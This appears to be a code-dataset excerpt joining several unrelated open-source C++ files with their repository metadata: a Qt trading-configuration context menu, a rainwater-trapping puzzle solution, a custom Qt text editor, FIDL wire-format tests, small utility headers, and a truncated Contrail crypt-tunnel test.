void TradeConfigContextMenuHandler::onCustomConfigurationContextMenu(const QPoint &point) {
QModelIndex indexPoint = tradeConfigView_.indexAt(point);
auto guiTreeNode = static_cast<GuiTreeNode *>(indexPoint.internalPointer());
contextMenu_ = new QMenu();
if (guiTreeNode) {
if (guiTreeNode->getNodeType() == GuiTreeNodeType::TRADE_CONFIG_NODE) {
contextMenu_->addAction(editAction_);
contextMenu_->addAction(removeAction_);
contextMenu_->addAction(closeAction_);
contextMenu_->addSeparator();
contextMenu_->addAction(activeConfig_);
activeConfig_->setEnabled(true);
const std::string &configName = guiTreeNode->data(0).toString().toStdString();
auto &tradeConfigsHolder = appListener_.getTradeConfigsHolder();
auto &tradeConfiguration = tradeConfigsHolder.takeTradeConfiguration(configName);
if (tradeConfiguration.isActive()) {
activeConfig_->setDisabled(true);
}
} else if (guiTreeNode->getNodeType() == GuiTreeNodeType::CONFIG_NODE) {
contextMenu_->addAction(editAction_);
}
contextMenu_->addSeparator();
currentNode_ = guiTreeNode;
}
contextMenu_->addAction(expandAction_);
contextMenu_->addAction(collapseAction_);
contextMenu_->exec(tradeConfigView_.viewport()->mapToGlobal(point));
}
void TradeConfigContextMenuHandler::setActiveConfig() {
if (!currentNode_) return;
QMessageBox::StandardButton button =
QMessageBox::question(&guiListener_, "Set Active configuration",
"Are you sure you want to set new active configuration?");
if (button != QMessageBox::StandardButton::Yes) return;
auto uiLock = guiListener_.acquireUILock();
if (!uiLock.try_lock() || guiListener_.isUIUpdating()) {
QMessageBox::information(
&guiListener_, tr("Trade configuration cannot be edited."),
tr("The UI is updating right now. Please wait until process is finished."));
currentNode_ = nullptr;
return;
}
const std::string &configName = currentNode_->data(0).toString().toStdString();
auto &tradeConfigsHolder = appListener_.getTradeConfigsHolder();
auto &tradeConfiguration = tradeConfigsHolder.takeTradeConfiguration(configName);
auto ¤tTradeConfiguration = tradeConfigsHolder.takeCurrentTradeConfiguration();
if (currentTradeConfiguration.isRunning()) {
QMessageBox::information(&guiListener_, tr("Current configuration is running."),
tr("The current trading configuration is running. Please stop trading "
"before changing active configuration."));
return;
}
if (currentTradeConfiguration.getName() != tradeConfiguration.getName()) {
currentTradeConfiguration.setActive(false);
tradeConfiguration.setActive(true);
appListener_.saveTradeConfigurationsFiles();
appListener_.refreshApiKeys(tradeConfiguration);
guiListener_.refreshTradeConfigurationView();
guiListener_.refreshStockExchangeChartInterval();
guiListener_.refreshStockExchangeChartMarket();
guiListener_.refreshConfigurationStatusBar();
guiListener_.refreshChartViewStart();
appListener_.refreshStockExchangeView();
}
currentNode_ = nullptr;
}
GuiTreeNode *TradeConfigContextMenuHandler::getTradeConfigNode(GuiTreeNode *currentNode) {
if (!currentNode) return nullptr;
GuiTreeNode *toReturnNode = currentNode;
while (currentNode->getNodeType() != GuiTreeNodeType::TRADE_CONFIG_NODE) {
currentNode = currentNode->getParentNode();
}
toReturnNode = currentNode;
return toReturnNode;
}
} // namespace view
} // namespace auto_trader | 40.408602 | 100 | 0.711016 | Rapprise |
d40d5d92a97a8bbb3e9203ed41475fdb1ee303fd | 935 | cc | C++ | nlp/processed/column/RW7475.cc | lionell/laboratories | 751e60d1851c45b98d1580c9631fd92afbdf02b0 | [
"MIT"
] | 2 | 2019-10-01T09:41:15.000Z | 2021-06-06T17:46:13.000Z | nlp/processed/column/RW7475.cc | lionell/laboratories | 751e60d1851c45b98d1580c9631fd92afbdf02b0 | [
"MIT"
] | 1 | 2018-05-18T18:20:46.000Z | 2018-05-18T18:20:46.000Z | nlp/processed/column/RW7475.cc | lionell/laboratories | 751e60d1851c45b98d1580c9631fd92afbdf02b0 | [
"MIT"
] | 8 | 2017-01-20T15:44:06.000Z | 2021-11-28T20:00:49.000Z | #include <bits/stdc++.h>
using namespace std;
int b, sum,m[10000000], a,d=0,xo,mx=0,x1,x2,h1,h2,k=0,i,j;
long long ans=0;
int main ()
{
ios_base::sync_with_stdio(0);
cin.tie(0);
long long f;
cin>>a;
for(i=1;i<=a;i++)
{
cin>>m[i];
if(m[i]>=mx){mx=m[i];xo=i;}
}
for(i=1;i<xo;i++)
{
if(m[i+1]<m[i] && k==0){x1=i;h1=m[i];k=1;}
if(m[i+1]>m[i] && m[i+1]>=h1 && k==1)
{
k=0;
x2=i+1;
h2=m[i+1];
d=(x2-x1-1)*min(h1,h2);
for(j=x1+1;j<x2;j++)
{
//cout<<d<<" ";
d-=m[j];
}
ans+=d;
}
}
for(i=a;i>xo;i--)
{
if(m[i-1]<m[i] && k==0){x1=i;h1=m[i];k=1;}
if(m[i-1]>m[i] && m[i-1]>=h1 && k==1)
{
k=0;
x2=i-1;
h2=m[i-1];
d=(x1-x2-1)*min(h1,h2);
for(j=x2+1;j<x1;j++)
{
//cout<<d<<" ";
d-=m[j];
}
ans+=d;
}
}
cout<<ans;
}
| 16.403509 | 60 | 0.364706 | lionell |
d40f21d6775a42dae7fcaac790f813dc79748474 | 15,036 | cpp | C++ | src/Front/GeneralTextEdit/gentextedit.cpp | Igisid/Breeks-desktop | 0dfaa6ea64d1d2912a4aed9e1febb537b9a9eec6 | [
"Apache-2.0"
] | 10 | 2020-12-20T15:32:20.000Z | 2021-07-12T18:09:57.000Z | src/Front/GeneralTextEdit/gentextedit.cpp | Igisid/Breeks-desktop | 0dfaa6ea64d1d2912a4aed9e1febb537b9a9eec6 | [
"Apache-2.0"
] | 2 | 2022-01-04T12:51:00.000Z | 2022-01-04T14:40:19.000Z | src/Front/GeneralTextEdit/gentextedit.cpp | Igisid/Breeks-desktop | 0dfaa6ea64d1d2912a4aed9e1febb537b9a9eec6 | [
"Apache-2.0"
] | 3 | 2020-12-22T02:50:11.000Z | 2021-02-24T01:58:11.000Z | #include "gentextedit.h"
#include <iostream>
#include <QDebug>
#include <QApplication>
#include <QClipboard>
#include <algorithm>
#include <QPainter>
#include <QScrollBar>
RussianDictionary *GenTextEdit::rusDic_ = new RussianDictionary();
GenTextEdit::GenTextEdit(QWidget *parent) :
QTextEdit(parent),
timer_(new QTimer()),
requestTimer_(new QTimer())
{
undoRedoBuffer_ = new UndoRedoText;
//rusDic_ = new RussianDictionary;
timer_->setSingleShot(true);
connect(timer_, SIGNAL(timeout()), this, SLOT(checkSpelling()));
requestTimer_->setSingleShot(true);
connect(requestTimer_, SIGNAL(timeout()), SLOT(sendServerRequest()));
this->setTextColor(QColor(0, 0, 0));
nCurrentFile_ = 1;
charCounter_ = 0;
detailsSetCharStyle(globCh);
this->verticalScrollBar()->setStyleSheet(
"QScrollBar:vertical {"
"background-color: #FFFFF0;"
"width: 9px;"
"margin: 0px 0px 0px 0px;}"
"QScrollBar::handle:vartical {"
"border-radius: 4px;"
"background: #e3e3df;"
"min-height: 0px;}"
"QScrollBar::handle:vertical:hover {"
"border-radius: 4px;"
"background: #c7c7bf;"
"min-height: 0px;}"
"QScrollBar::add-line:vertical {"
"border: none;"
"background: none;}"
"QScrollBar::sub-line:vertical {"
"border: none;"
"background: none;}"
);
this->setContextMenuPolicy(Qt::ContextMenuPolicy::NoContextMenu);
}
//We want to create our Text editor with special functions and hot-keys
//that is why we override keyPressEvent()
void GenTextEdit::keyPressEvent(QKeyEvent *event) {
int iKey = event->key();
Qt::KeyboardModifiers kmModifiers = event->modifiers();
int cursorPos = this->textCursor().position();
QTextCharFormat charFormat; //to back Normal font style of text after Bold, Italic, Underline... words
charFormat.setFontWeight(QFont::Normal);
charStyle_t ch;
detailsSetCharStyle(ch);
commandInfo_t command;
//all comands which insert smth
if (charCounter_ <= MAX_COUNT_CHAR_) {
requestTimer_->start(500);
//letters
if (kmModifiers == 0 || kmModifiers == Qt::ShiftModifier) {
if ((iKey >= Qt::Key_A && iKey <= Qt::Key_Z) ||
(QKeySequence(iKey).toString() >= "А" && (QKeySequence(iKey).toString() <= "Я")) ||
QKeySequence(iKey).toString() == "Ё") {
detailsCheckSelectionAndItem(cursorPos);
detailsSetCharStyleByNeighbours(ch, cursorPos);
charStyleVector_.insert(cursorPos, 1, ch);
QTextEdit::keyPressEvent(event); //we can't identify CapsLock that's why use base method
detailsSetCharStyleByIndex(ch, cursorPos + 1);
++charCounter_;
//Add coommand to UndoRefoBuffer
const QString text = (kmModifiers != 0 ?
QKeySequence(iKey).toString() :
QKeySequence(iKey).toString().toLower());
setCommandInfo(command, command::insertStr, cursorPos, text);
undoRedoBuffer_->pushUndoCommand(command);
timer_->stop();
timer_->start(1000);
return;
}
}
//numbers
if (kmModifiers == 0) {
if (iKey >= Qt::Key_0 && iKey <= Qt::Key_9) {
detailsCheckSelectionAndItem(cursorPos);
this->insertPlainText(QKeySequence(iKey).toString());
detailsSetCharStyleByNeighbours(ch, cursorPos);
charStyleVector_.insert(cursorPos, 1, ch);
detailsSetCharStyleByIndex(ch, cursorPos + 1);
++charCounter_;
//Add coommand to UndoRefoBuffer
setCommandInfo(command, command::insertStr, cursorPos, QKeySequence(iKey).toString());
undoRedoBuffer_->pushUndoCommand(command);
timer_->stop();
timer_->start(1000);
return;
}
}
//special chars
if (kmModifiers == 0 || kmModifiers == Qt::ShiftModifier) {
for (QChar i : AVAILABLE_CHARS_) {
if (QKeySequence(iKey).toString() == i) {
detailsCheckSelectionAndItem(cursorPos);
this->insertPlainText(QKeySequence(iKey).toString());
detailsSetCharStyleByNeighbours(ch, cursorPos);
charStyleVector_.insert(cursorPos, 1, ch);
detailsSetCharStyleByIndex(ch, cursorPos + 1);
++charCounter_;
//Add coommand to UndoRefoBuffer
setCommandInfo(command, command::insertStr, cursorPos, QKeySequence(iKey).toString());
undoRedoBuffer_->pushUndoCommand(command);
timer_->stop();
timer_->start(1000);
return;
}
}
}
switch (iKey) {
//Space
case Qt::Key_Space : {
detailsCheckSelectionAndItem(cursorPos);
addSpace(cursorPos);
//Add coommand to UndoRefoBuffer
setCommandInfo(command, command::insertStr, cursorPos, " ");
undoRedoBuffer_->pushUndoCommand(command);
checkSpelling();
return;
}
//Tab
case Qt::Key_Tab : {
// if (this->textCursor().selectedText() != "") {
// detailsEraseSelectedText(cursorPos);
// }
addTab(cursorPos);
timer_->stop();
timer_->start(1000);
return;
}
//Shift + Tab
case Qt::Key_Backtab : {
backTab(cursorPos);
return;
}
//Return
case Qt::Key_Return :
detailsCheckSelectionAndItem(cursorPos);
this->textCursor().insertText("\n", charFormat);
charStyleVector_.insert(cursorPos, 1, ch);
++charCounter_;
//Add coommand to UndoRefoBuffer
setCommandInfo(command, command::insertStr, cursorPos, "\n");
undoRedoBuffer_->pushUndoCommand(command);
checkSpelling();
return;
}
if (kmModifiers == Qt::ControlModifier) {
//Ctrl + z
if (QKeySequence(iKey) == Qt::Key_Z || QKeySequence(iKey).toString() == "Я") {
undoCommand();
timer_->stop();
timer_->start(1000);
}
else if (QKeySequence(iKey) == Qt::Key_Y || QKeySequence(iKey).toString() == "Н") {
redoCommand();
timer_->stop();
timer_->start(1000);
}
//Ctrl + d - dash
else if (QKeySequence(iKey) == Qt::Key_D ||QKeySequence(iKey).toString() == "В") {
detailsCheckSelectionAndItem(cursorPos);
this->insertPlainText(dashSign_);
charStyleVector_.insert(cursorPos, 1, ch);
++charCounter_;
//Add coommand to UndoRefoBuffer
setCommandInfo(command, command::insertStr, cursorPos, dashSign_);
undoRedoBuffer_->pushUndoCommand(command);
timer_->stop();
timer_->start(1000);
return;
}
//Ctrl + V - paste
else if (QKeySequence(iKey) == Qt::Key_V) {
detailsCheckSelectionAndItem(cursorPos);
QClipboard* buffer = QApplication::clipboard();
QString insertLine = buffer->text();
int first = insertLine.length();
int second = MAX_COUNT_CHAR_ - charCounter_ + 1;
int end = std::min(first, second);
insertLine = insertLine.mid(0, end); //to correct work with limit of chars
this->textCursor().insertText(insertLine);
charStyleVector_.insert(cursorPos, insertLine.length(), ch);
charCounter_ += insertLine.length();
//Add coommand to UndoRefoBuffer
setCommandInfo(command, command::insertStr, cursorPos, insertLine);
undoRedoBuffer_->pushUndoCommand(command);
timer_->stop();
timer_->start(1000);
return;
}
//Ctrl + p - add to-do-list with point
else if (QKeySequence(iKey) == Qt::Key_P || QKeySequence(iKey).toString() == "З") {
addTodoList(pointSign_);
return;
}
//Ctrl + '-' - add to-do-list with minus
else if (QKeySequence(iKey) == Qt::Key_Minus) {
addTodoList(minusSign_);
return;
}
//Ctrl + w - add red star
else if (QKeySequence(iKey) == Qt::Key_W || QKeySequence(iKey).toString() == "Ц") {
addStar();
return;
}
}
}
//Esc canceled all selection
if (iKey == Qt::Key_Escape) {
if (this->textCursor().hasSelection()) {
this->moveCursor(QTextCursor::Right);
}
return;
}
//Home
if (iKey == Qt::Key_Home) {
QTextCursor c = this->textCursor();
c.movePosition(QTextCursor::Start, QTextCursor::MoveAnchor);
this->setTextCursor(c);
return;
}
//End
if (iKey == Qt::Key_End) {
QTextCursor c = this->textCursor();
c.movePosition(QTextCursor::End, QTextCursor::MoveAnchor);
this->setTextCursor(c);
return;
}
//Arrows Left, Up, Right, Down - move to chars and lines
if (kmModifiers == 0) {
switch (iKey) {
case Qt::Key_Left :
this->moveCursor(QTextCursor::Left);
return;
case Qt::Key_Right :
this->moveCursor(QTextCursor::Right);
return;
case Qt::Key_Up :
this->moveCursor(QTextCursor::Up);
return;
case Qt::Key_Down :
this->moveCursor(QTextCursor::Down);
return;
}
}
//Shift + arrows
if (kmModifiers == Qt::ShiftModifier || kmModifiers == (Qt::ShiftModifier | Qt::ControlModifier)) {
if (QKeySequence(iKey) == Qt::Key_Up || QKeySequence(iKey) == Qt::Key_Down ||
QKeySequence(iKey) == Qt::Key_Right || QKeySequence(iKey) == Qt::Key_Left) {
//it is tmp soluton, I want to reimplementate work with shift
QTextEdit::keyPressEvent(event);
return;
}
}
//Ctrl + arrows
if (kmModifiers == Qt::ControlModifier) {
//Ctrl + arrows Up/Down move cursor to start/end of text
if (QKeySequence(iKey) == Qt::Key_Up) {
this->moveCursor(QTextCursor::Start);
return;
}
else if (QKeySequence(iKey) == Qt::Key_Down) {
this->moveCursor(QTextCursor::End);
return;
}
//Ctrl + arrows <-/-> - move to words
else if (QKeySequence(iKey) == Qt::Key_Left) {
this->moveCursor(QTextCursor::PreviousWord);
return;
}
else if (QKeySequence(iKey) == Qt::Key_Right) {
this->moveCursor(QTextCursor::NextWord);
return;
}
}
if (kmModifiers == Qt::ControlModifier) {
QClipboard* buffer = QApplication::clipboard();
//Ctrl + C - copy
if (QKeySequence(iKey) == Qt::Key_C) {
QString Selectline = this->textCursor().selectedText();
buffer->setText(Selectline);
return;
}
//Ctrl + A - select all
else if (QKeySequence(iKey) == Qt::Key_A) {
this->selectAll();
return;
}
//Ctrl + X - cut
else if (QKeySequence(iKey) == Qt::Key_X) {
detailsCheckSelectionAndItem(cursorPos); //work with UndoRedoBuffer in that function
this->cut();
timer_->stop();
timer_->start(1000);
}
//Ctrl + b - Bold
else if (QKeySequence(iKey) == Qt::Key_B || QKeySequence(iKey).toString() == "И") {
if (this->textCursor().hasSelection()) {
setCharStyle(charStyle::Bold);
}
else {
detailsSetCharStyle(globCh, charStyle::Bold);
}
}
//Ctrl + i - Italic
else if (QKeySequence(iKey) == Qt::Key_I || QKeySequence(iKey).toString() == "Ш") {
if (this->textCursor().hasSelection()) {
setCharStyle(charStyle::Italic);
}
else {
detailsSetCharStyle(globCh, charStyle::Italic);
}
}
//Ctrl + u - Underline
else if (QKeySequence(iKey) == Qt::Key_U || QKeySequence(iKey).toString() == "Г") {
if (this->textCursor().hasSelection()) {
setCharStyle(charStyle::Underline);
}
else {
detailsSetCharStyle(globCh, charStyle::Underline);
}
}
//Ctrl + s - Strike
else if (QKeySequence(iKey) == Qt::Key_S || QKeySequence(iKey).toString() == "Ы") {
if (this->textCursor().hasSelection()) {
setCharStyle(charStyle::Strike);
}
else {
detailsSetCharStyle(globCh, charStyle::Strike);
}
}
//Ctrl + n - Normal
else if (QKeySequence(iKey) == Qt::Key_N || QKeySequence(iKey).toString() == "Т") {
makeCharNormal();
detailsSetCharStyle(globCh);
return;
}
//Ctrl + g - highlight in green
else if (QKeySequence(iKey) == Qt::Key_G || QKeySequence(iKey).toString() == "П") {
colorText(colors::green);
this->moveCursor(QTextCursor::Right);
return;
}
//Ctrl + l - lavender
else if (QKeySequence(iKey) == Qt::Key_L || QKeySequence(iKey).toString() == "Д") {
colorText(colors::lavender);
this->moveCursor(QTextCursor::Right);
return;
}
//Ctrl + m - marina
else if (QKeySequence(iKey) == Qt::Key_M || QKeySequence(iKey).toString() == "Ь") {
colorText(colors::marina);
this->moveCursor(QTextCursor::Right);
return;
}
//Ctrl + o - orange
else if (QKeySequence(iKey) == Qt::Key_O || QKeySequence(iKey).toString() == "Щ") {
colorText(colors::orange);
this->moveCursor(QTextCursor::Right);
return;
}
//Ctrl + r - red
else if (QKeySequence(iKey) == Qt::Key_R || QKeySequence(iKey).toString() == "К") {
colorText(colors::red);
this->moveCursor(QTextCursor::Right);
checkSpelling();
return;
}
}
//Ctrl + Shift + D - add new word to dictionary
if (kmModifiers == (Qt::ShiftModifier | Qt::ControlModifier) &&
(QKeySequence(iKey) == Qt::Key_D || QKeySequence(iKey).toString() == "В")) {
rusDic_->addNewWord(this->textCursor().selectedText().toLower());
timer_->stop();
timer_->start(1000);
return;
}
//Backspace
if (QKeySequence(iKey) == Qt::Key_Backspace) {
//analize item posotion if it is item
detailsCheckItemPosInDeleting(cursorPos, true, kmModifiers);
deleteSmth(kmModifiers, QTextCursor::PreviousWord, cursorPos, 0, 1);
this->textCursor().deletePreviousChar();
timer_->stop();
timer_->start(1000);
}
//Delete
else if (QKeySequence(iKey) == Qt::Key_Delete) {
detailsCheckItemPosInDeleting(cursorPos, false, kmModifiers);
deleteSmth(kmModifiers, QTextCursor::NextWord, cursorPos, charStyleVector_.size());
this->textCursor().deleteChar();
timer_->stop();
timer_->start(1000);
}
}
/*void GenTextEdit::paintEvent(QPaintEvent *event) {
// use paintEvent() of base class to do the main work
QTextEdit::paintEvent(event);
// draw cursor (if widget has focus)
if (hasFocus()) {
const QRect qRect = cursorRect(textCursor());
QPainter qPainter(viewport());
qPainter.fillRect(qRect, QColor(Qt::red));
}
}*/
void GenTextEdit::checkSpelling() {
QString text = this->toPlainText();
QTextStream sourseText(&text);
QChar curCh;
QString word = "";
for (int i = 0; i < text.length(); ++i) {
sourseText >> curCh;
//dictionary doesn't know about 'Ё' letter
if (curCh == "ё" || curCh == "Ё") {
curCh = QChar(RUS_YO_UNICODE);
}
curCh = curCh.toLower();
if (detailsIsLetter(curCh)) {
word += curCh;
}
else if (!word.isEmpty() && curCh == "-") {
word += curCh;
}
else if (!word.isEmpty()) {
detailsCheckSpelling(word, i);
word = "";
}
}
//check the last word
if (!word.isEmpty()) {
detailsCheckSpelling(word, charCounter_);
}
}
void GenTextEdit::sendServerRequest() {
emit sendServerRequest(nCurrentFile_);
}
| 29.598425 | 104 | 0.617717 | Igisid |
d4104f501fa144fda556a4bb6e3ef6ae67576558 | 3,639 | cc | C++ | src/lib/fidl/llcpp/tests/message_container/wire_format_metadata_test.cc | allansrc/fuchsia | a2c235b33fc4305044d496354a08775f30cdcf37 | [
"BSD-2-Clause"
] | 2 | 2022-02-24T16:24:29.000Z | 2022-02-25T22:33:10.000Z | src/lib/fidl/llcpp/tests/message_container/wire_format_metadata_test.cc | PlugFox/fuchsia | 39afe5230d41628b3c736a6e384393df954968c8 | [
"BSD-2-Clause"
] | 2 | 2021-09-19T21:55:09.000Z | 2021-12-19T03:34:53.000Z | src/lib/fidl/llcpp/tests/message_container/wire_format_metadata_test.cc | PlugFox/fuchsia | 39afe5230d41628b3c736a6e384393df954968c8 | [
"BSD-2-Clause"
] | null | null | null | // Copyright 2021 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <lib/fidl/internal.h>
#include <gtest/gtest.h>
TEST(WireFormatMetadata, FromOpaque) {
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromOpaque(
// Magic number 1
fidl_opaque_wire_format_metadata_t{0x100});
EXPECT_EQ(fidl::internal::WireFormatVersion::kV1, metadata.wire_format_version());
EXPECT_EQ(FIDL_WIRE_FORMAT_VERSION_V1, metadata.c_wire_format_version());
}
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromOpaque(
// Magic number 1, and a V2 version flag
fidl_opaque_wire_format_metadata_t{0x100 | 0x20000});
EXPECT_EQ(fidl::internal::WireFormatVersion::kV2, metadata.wire_format_version());
EXPECT_EQ(FIDL_WIRE_FORMAT_VERSION_V2, metadata.c_wire_format_version());
}
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromOpaque(
// Invalid magic number
fidl_opaque_wire_format_metadata_t{0x2});
ASSERT_DEATH({ metadata.wire_format_version(); }, "Invalid");
ASSERT_DEATH({ metadata.c_wire_format_version(); }, "Invalid");
}
}
TEST(WireFormatMetadata, FromTransactionalHeader) {
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromTransactionalHeader(fidl_message_header_t{
.txid = 0,
.flags = {},
.magic_number = kFidlWireFormatMagicNumberInitial,
.ordinal = 0,
});
EXPECT_EQ(fidl::internal::WireFormatVersion::kV1, metadata.wire_format_version());
EXPECT_EQ(FIDL_WIRE_FORMAT_VERSION_V1, metadata.c_wire_format_version());
}
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromTransactionalHeader(fidl_message_header_t{
.txid = 0,
.flags = {FIDL_MESSAGE_HEADER_FLAGS_0_USE_VERSION_V2, 0, 0},
.magic_number = kFidlWireFormatMagicNumberInitial,
.ordinal = 0,
});
EXPECT_EQ(fidl::internal::WireFormatVersion::kV2, metadata.wire_format_version());
EXPECT_EQ(FIDL_WIRE_FORMAT_VERSION_V2, metadata.c_wire_format_version());
}
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromTransactionalHeader(fidl_message_header_t{
.txid = 0,
.flags = {},
// Invalid magic number
.magic_number = 2,
.ordinal = 0,
});
ASSERT_DEATH({ metadata.wire_format_version(); }, "Invalid");
ASSERT_DEATH({ metadata.c_wire_format_version(); }, "Invalid");
}
}
TEST(WireFormatMetadata, ToOpaque) {
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromOpaque(fidl_opaque_wire_format_metadata_t{});
fidl_opaque_wire_format_metadata_t opaque = metadata.ToOpaque();
EXPECT_EQ(0ull, opaque.metadata);
}
{
::fidl::internal::WireFormatMetadata metadata =
::fidl::internal::WireFormatMetadata::FromTransactionalHeader(fidl_message_header_t{
.txid = 0,
.flags = {FIDL_MESSAGE_HEADER_FLAGS_0_USE_VERSION_V2, 0, 0},
.magic_number = kFidlWireFormatMagicNumberInitial,
.ordinal = 0,
});
fidl_opaque_wire_format_metadata_t opaque = metadata.ToOpaque();
EXPECT_EQ(0x100ull | 0x20000ull, opaque.metadata);
}
}
| 36.39 | 95 | 0.679582 | allansrc |
d41220133c669dd40b70064305fdaa00e382d62a | 995 | hpp | C++ | include/sampling/time_series_slice.hpp | numerodix/bmon-cpp | fae0613776b879a33e327f9ccf1d3819383634dd | [
"MIT"
] | 1 | 2020-07-31T01:34:47.000Z | 2020-07-31T01:34:47.000Z | include/sampling/time_series_slice.hpp | numerodix/bmon-cpp | fae0613776b879a33e327f9ccf1d3819383634dd | [
"MIT"
] | null | null | null | include/sampling/time_series_slice.hpp | numerodix/bmon-cpp | fae0613776b879a33e327f9ccf1d3819383634dd | [
"MIT"
] | null | null | null | #ifndef TIME_SERIES_SLICE_H
#define TIME_SERIES_SLICE_H
#include <unistd.h>
#include <vector>
#include "agg_window.hpp"
#include "aliases.hpp"
namespace bandwit {
namespace sampling {
// FIXME: should this be a struct?
class TimeSeriesSlice {
public:
explicit TimeSeriesSlice(std::vector<TimePoint> tps,
std::vector<uint64_t> vals,
AggregationWindow agg_win)
: time_points{std::move(tps)}, values{std::move(vals)}, agg_window{
agg_win} {}
// We need this to be able to declare a variable in an outer scope and
// populate it in an inner scope. The value should not be used for anything
// cause it's going to be empty.
TimeSeriesSlice() {}
std::vector<TimePoint> time_points{};
std::vector<uint64_t> values{};
AggregationWindow agg_window;
};
} // namespace sampling
} // namespace bandwit
#endif // TIME_SERIES_SLICE_H | 28.428571 | 79 | 0.628141 | numerodix |
d4141327adfe48efc12d8c04a2f468df3e24ce6f | 1,669 | hpp | C++ | msaa/deps/lpp/include/lpp/common/iteration.hpp | leddoo/raster | aa58a04e0549a44a8212b57020397587ebe51eb7 | [
"MIT"
] | null | null | null | msaa/deps/lpp/include/lpp/common/iteration.hpp | leddoo/raster | aa58a04e0549a44a8212b57020397587ebe51eb7 | [
"MIT"
] | null | null | null | msaa/deps/lpp/include/lpp/common/iteration.hpp | leddoo/raster | aa58a04e0549a44a8212b57020397587ebe51eb7 | [
"MIT"
] | null | null | null | #pragma once
#include <lpp/core/basic.hpp>
namespace lpp {
// TODO: these rely on range based for to be expanded as "it != end". it
// would probably be more robust to actually implement != and create the
// iterators with "clamping".
// "monotonic" because of less than comparison.
template <typename T>
struct Monotonic_Iterator {
T value;
Monotonic_Iterator(T value) : value(value) {}
T operator*() const { return this->value; }
void operator++() { this->value += 1; }
Bool operator!=(const Monotonic_Iterator<T>& other) const {
return this->value < other.value;
}
};
// also monotonic.
template <typename T>
struct Ptr_Iterator {
Ptr<T> value;
Ptr_Iterator(Ptr<T> value) : value(value) {}
Ref<T> operator*() { return *this->value; }
void operator++() { this->value += 1; }
Bool operator!=(const Ptr_Iterator<T>& other) const {
return this->value < other.value;
}
};
template <typename T>
struct Range {
T _begin;
T _end;
Range() : _begin(0), _end(0) {}
Range(T end) : _begin(0), _end(end) {}
Range(T begin, T end) : _begin(begin), _end(end) {}
T length() const {
return (this->_end > this->_begin)
? (this->_end - this->_begin)
: T(0);
}
Monotonic_Iterator<T> begin() const { return Monotonic_Iterator<T> { this->_begin }; }
Monotonic_Iterator<T> end() const { return Monotonic_Iterator<T> { this->_end }; }
};
}
| 25.287879 | 94 | 0.541642 | leddoo |
d41473ece61d2dda0975c03f6dfd3943991ff72e | 4,122 | cc | C++ | src/vnsw/agent/oper/test/test_crypt_tunnel.cc | Dmitry-Eremeev/contrail-controller | 1238bcff697981662225ec5a15bc4d3d2237ae93 | [
"Apache-2.0"
] | null | null | null | src/vnsw/agent/oper/test/test_crypt_tunnel.cc | Dmitry-Eremeev/contrail-controller | 1238bcff697981662225ec5a15bc4d3d2237ae93 | [
"Apache-2.0"
] | null | null | null | src/vnsw/agent/oper/test/test_crypt_tunnel.cc | Dmitry-Eremeev/contrail-controller | 1238bcff697981662225ec5a15bc4d3d2237ae93 | [
"Apache-2.0"
] | 1 | 2020-11-20T06:49:58.000Z | 2020-11-20T06:49:58.000Z | /*
* Copyright (c) 2016 Juniper Networks, Inc. All rights reserved.
*/
#include "base/os.h"
#include <sys/socket.h>
#include <net/if.h>
#ifdef __linux__
#include <linux/netlink.h>
#include <linux/if_tun.h>
#include <linux/if_packet.h>
#endif
#ifdef __FreeBSD__
#include <sys/sockio.h>
#include <ifaddrs.h>
#endif
#include "testing/gunit.h"
#include <base/logging.h>
#include <io/event_manager.h>
#include <tbb/task.h>
#include <base/task.h>
#include <cmn/agent_cmn.h>
#include <init/agent_init.h>
#include <cmn/agent_factory.h>
#include <init/agent_param.h>
#include "oper/operdb_init.h"
#include "controller/controller_init.h"
#include "pkt/pkt_init.h"
#include "services/services_init.h"
#include "vrouter/ksync/ksync_init.h"
#include "oper/interface_common.h"
#include "test_cmn_util.h"
#include "vr_types.h"
#include "oper/crypt_tunnel.h"
#define VNSW_CRYPT_CONFIG_FILE "controller/src/vnsw/agent/test/vnswa_crypt_cfg.ini"
void RouterIdDepInit(Agent *agent) {
}
class CryptTunnelConfigTest : public ::testing::Test {
public:
virtual void SetUp() {
agent = Agent::GetInstance();
PhysicalInterface::CreateReq(agent->interface_table(),
"ipsec0", agent->fabric_vrf_name(),
PhysicalInterface::FABRIC,
PhysicalInterface::ETHERNET, false,
boost::uuids::nil_uuid(), Ip4Address(0),
Interface::TRANSPORT_ETHERNET);
}
bool WaitForAWhile(time_t target) {
time_t now = time(NULL);
return now >= target;
}
virtual void TearDown() {
}
CryptTunnelEntry *FindCryptTunnelEntry(const std::string &remote_ip) {
CryptTunnelTable *table = agent->crypt_tunnel_table();
return table->Find(remote_ip);
}
protected:
static const int kTimeoutSeconds = 15;
Agent *agent;
};
struct CryptTunnel {
std::string remote_ip;
bool crypt;
};
TEST_F(CryptTunnelConfigTest, Basic) {
// Create two tunnels
struct EncryptTunnelEndpoint endpoints[] = {
{"2.2.2.11"},
{"2.2.2.12"}
};
unsigned int num_endpoints = sizeof(endpoints)/sizeof(EncryptTunnelEndpoint);
EXPECT_TRUE(agent->crypt_tunnel_table()->Size() == 0);
// Create VR to VR encryption, add the global vrouter configration
AddEncryptRemoteTunnelConfig(endpoints, num_endpoints, "all");
client->WaitForIdle();
WAIT_FOR(100, 100, agent->crypt_tunnel_table()->Size() == num_endpoints);
CryptTunnelEntry *entry;
entry = agent->crypt_tunnel_table()->Find(endpoints[0].ip);
EXPECT_TRUE(entry != NULL);
// Check for encryption
EXPECT_TRUE(entry->GetVRToVRCrypt() == true);
// Tunnel should be available
client->WaitForIdle();
WAIT_FOR(2000, 1000, entry->GetTunnelAvailable());
// Change and check for encryption false
AddEncryptRemoteTunnelConfig(endpoints, num_endpoints, "none");
client->WaitForIdle();
WAIT_FOR(2000, 1000, entry->GetTunnelAvailable());
WAIT_FOR(2000, 100, (entry = agent->crypt_tunnel_table()->Find(endpoints[1].ip)) != NULL);
